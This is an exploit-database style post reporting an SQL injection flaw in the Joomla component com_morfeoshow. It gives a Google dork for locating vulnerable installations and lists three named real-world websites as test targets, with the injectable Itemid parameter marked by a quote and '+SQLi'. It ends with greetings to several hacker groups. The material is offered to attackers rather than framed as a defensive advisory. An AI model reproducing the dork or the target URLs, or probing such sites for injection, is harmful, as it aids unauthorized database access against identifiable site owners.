Joomla com_morfeoshow SQL Injection Vulnerability

########  ###### ########    ###### #######  ######## ##   ##
      ## ###           ##   ###           ##          ## # ##
 ####### ###      #######   ###      ######   ####### #######
 ###  ## ###      ###  ##   ###      ##  ##   ###     ### ###
 ###  ##  ######  ###  ##    ######  ##   ##  ####### ##   ##
                      #tupac~al

# Exploit Title: Joomla com_morfeoshow SQL Injection Vulnerability
# Date: 06/08/2011
# Author: TuPac^ShaKuR
# Download Link: http://chrismartyniuk.ca/index.php?option=com_phocadownload&view=category&id=1:morfeoshow&download=1:com_morfeoshow&Itemid=7
# Version: 0.0.0.0.1
# Category:: Webapps
# Google dork: [inurl:index.php?option=com_mofeoshow]
# Tested on: Linux 

Vuln/Test = http://www.bitfolge.de/index.php?option=com_morfeoshow&task=view&gallery=1&Itemid=68'+SQLi

Vuln/Test = http://kalifshriners.com/index.php?option=com_morfeoshow&task=view&gallery=1&Itemid=59'+SQLi

Vuln/Test = http://www.ojith.com/portal/index.php?option=com_morfeoshow&Itemid=23'+SQLi

Greetz to : Albanian Cyber Army , Pak Cyber Army , Kosova Hackers Security 
Special thxn to: GrandMast3r(my bro) , [ACA] 1NJ3CT0R-4l ~ N3G4T1VY ~ 1NF3CT0R ~ SP0NG3B0B -> [PCA] HAX.R00T ~ Seeker ~ TC Founder ~ MKan ~ Shak
[KHS] TH3 DIR3CTORY ~ THETA.NU ~ X|CRIPO ~ TH3 POW3R ~ TH3 PHENIX <-- And dR.SqL[HF.al] :))



#  0day.today [2018-01-02]  #